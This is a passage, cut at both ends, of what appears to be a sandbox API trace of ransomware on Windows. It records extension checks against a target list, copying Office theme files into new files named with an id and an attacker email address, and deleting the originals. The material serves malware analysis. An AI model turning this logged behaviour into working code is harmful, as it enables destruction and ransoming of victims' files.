returned 1 [0044.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.670] lstrlenW (lpString=".zip") returned 4 [0044.670] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.670] lstrlenW (lpString=".rar") returned 4 [0044.670] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.670] lstrlenW (lpString=".bz2") returned 4 [0044.670] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.670] lstrlenW (lpString=".7z") returned 3 [0044.670] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.670] lstrlenW (lpString=".dbf") returned 4 [0044.670] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.670] lstrlenW (lpString=".1cd") returned 4 [0044.670] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.670] lstrlenW (lpString=".jpg") returned 4 [0044.670] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.670] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.670] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.671] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1666) returned 1 [0044.671] CloseHandle (hObject=0x1ac) returned 1 [0044.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0044.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.672] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.672] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.673] GetLastError () returned 0x0 [0044.673] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x682, lpOverlapped=0x0) returned 1 [0044.675] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x690, lpOverlapped=0x0) returned 1 [0044.676] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.676] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.676] SetEndOfFile (hFile=0x204) returned 1 [0044.676] CloseHandle (hObject=0x204) returned 1 [0044.676] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.676] SetEndOfFile (hFile=0x1ac) returned 1 [0044.677] CloseHandle (hObject=0x1ac) returned 1 [0044.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0044.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.677] lstrlenW (lpString=".doc") returned 4 [0044.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.677] lstrlenW (lpString=".docx") returned 5 [0044.677] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.677] lstrlenW (lpString=".pdf") returned 4 [0044.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.677] lstrlenW (lpString=".xls") returned 4 [0044.678] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString=".xlsx") returned 5 [0044.678] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.678] lstrlenW (lpString=".ppt") returned 4 [0044.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString=".zip") returned 4 [0044.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString=".rar") returned 4 [0044.678] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString=".bz2") returned 4 [0044.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.678] lstrlenW (lpString=".7z") returned 3 [0044.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString=".dbf") returned 4 [0044.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString=".1cd") returned 4 [0044.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString=".jpg") returned 4 [0044.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.678] lstrlenW (lpString=".doc") returned 4 [0044.678] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.678] lstrlenW (lpString=".docx") returned 5 [0044.678] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.678] lstrlenW (lpString=".pdf") returned 4 [0044.678] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.678] lstrlenW (lpString=".xls") returned 4 [0044.679] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.679] lstrlenW (lpString=".xlsx") returned 5 [0044.679] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.679] lstrlenW (lpString=".ppt") returned 4 [0044.679] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.679] lstrlenW (lpString=".zip") returned 4 [0044.679] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.679] lstrlenW (lpString=".rar") returned 4 [0044.679] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.679] lstrlenW (lpString=".bz2") returned 4 [0044.679] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.679] lstrlenW (lpString=".7z") returned 3 [0044.679] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.679] lstrlenW (lpString=".dbf") returned 4 [0044.679] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.679] lstrlenW (lpString=".1cd") returned 4 [0044.679] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0044.679] lstrlenW (lpString=".jpg") returned 4 [0044.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.679] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.679] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.680] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=19563) returned 1 [0044.680] CloseHandle (hObject=0x1ac) returned 1 [0044.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0044.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.680] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.680] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.680] GetLastError () returned 0x0 [0044.680] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0044.682] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0044.683] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.683] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.683] SetEndOfFile (hFile=0x204) returned 1 [0044.684] CloseHandle (hObject=0x204) returned 1 [0044.684] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.684] SetEndOfFile (hFile=0x1ac) returned 1 [0044.685] CloseHandle (hObject=0x1ac) returned 1 [0044.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0044.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.685] lstrlenW (lpString=".doc") returned 4 [0044.685] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.685] lstrlenW (lpString=".docx") returned 5 [0044.685] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.685] lstrlenW (lpString=".pdf") returned 4 [0044.685] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.685] lstrlenW (lpString=".xls") returned 4 [0044.685] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.685] lstrlenW (lpString=".xlsx") returned 5 [0044.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.686] lstrlenW (lpString=".ppt") returned 4 [0044.686] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString=".zip") returned 4 [0044.686] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.686] lstrlenW (lpString=".rar") returned 4 [0044.686] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.686] lstrlenW (lpString=".bz2") returned 4 [0044.686] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString=".7z") returned 3 [0044.686] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString=".dbf") returned 4 [0044.686] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString=".1cd") returned 4 [0044.686] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString=".jpg") returned 4 [0044.686] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.686] lstrlenW (lpString=".doc") returned 4 [0044.686] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString=".docx") returned 5 [0044.686] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.686] lstrlenW (lpString=".pdf") returned 4 [0044.686] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.686] lstrlenW (lpString=".xls") returned 4 [0044.686] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.686] lstrlenW (lpString=".xlsx") returned 5 [0044.686] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.687] lstrlenW (lpString=".ppt") returned 4 [0044.687] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.687] lstrlenW (lpString=".zip") returned 4 [0044.687] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.687] lstrlenW (lpString=".rar") returned 4 [0044.687] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.687] lstrlenW (lpString=".bz2") returned 4 [0044.687] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.687] lstrlenW (lpString=".7z") returned 3 [0044.687] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.687] lstrlenW (lpString=".dbf") returned 4 [0044.687] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.687] lstrlenW (lpString=".1cd") returned 4 [0044.687] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0044.687] lstrlenW (lpString=".jpg") returned 4 [0044.687] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.687] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.687] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.688] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1423) returned 1 [0044.688] CloseHandle (hObject=0x1ac) returned 1 [0044.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0044.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.688] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.688] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.063] GetLastError () returned 0x0 [0045.063] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x58f, lpOverlapped=0x0) returned 1 [0045.065] WriteFile (in: hFile=0x194, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x590, lpOverlapped=0x0) returned 1 [0045.066] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.066] WriteFile (in: hFile=0x194, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.066] SetEndOfFile (hFile=0x194) returned 1 [0045.066] CloseHandle (hObject=0x194) returned 1 [0045.066] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.066] SetEndOfFile (hFile=0x1ac) returned 1 [0045.067] CloseHandle (hObject=0x1ac) returned 1 [0045.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.067] lstrlenW (lpString=".doc") returned 4 [0045.067] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.068] lstrlenW (lpString=".docx") returned 5 [0045.068] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.068] lstrlenW (lpString=".pdf") returned 4 [0045.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.068] lstrlenW (lpString=".xls") returned 4 [0045.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.068] lstrlenW (lpString=".xlsx") returned 5 [0045.068] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.068] lstrlenW (lpString=".ppt") returned 4 [0045.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.068] lstrlenW (lpString=".zip") returned 4 [0045.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.068] lstrlenW (lpString=".rar") returned 4 [0045.068] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.068] lstrlenW (lpString=".bz2") returned 4 [0045.068] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.068] lstrlenW (lpString=".7z") returned 3 [0045.068] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.068] lstrlenW (lpString=".dbf") returned 4 [0045.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.068] lstrlenW (lpString=".1cd") returned 4 [0045.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0045.068] lstrlenW (lpString=".jpg") returned 4 [0045.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.069] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.069] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0045.071] GetLastError () returned 0x0 [0045.071] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3a9, 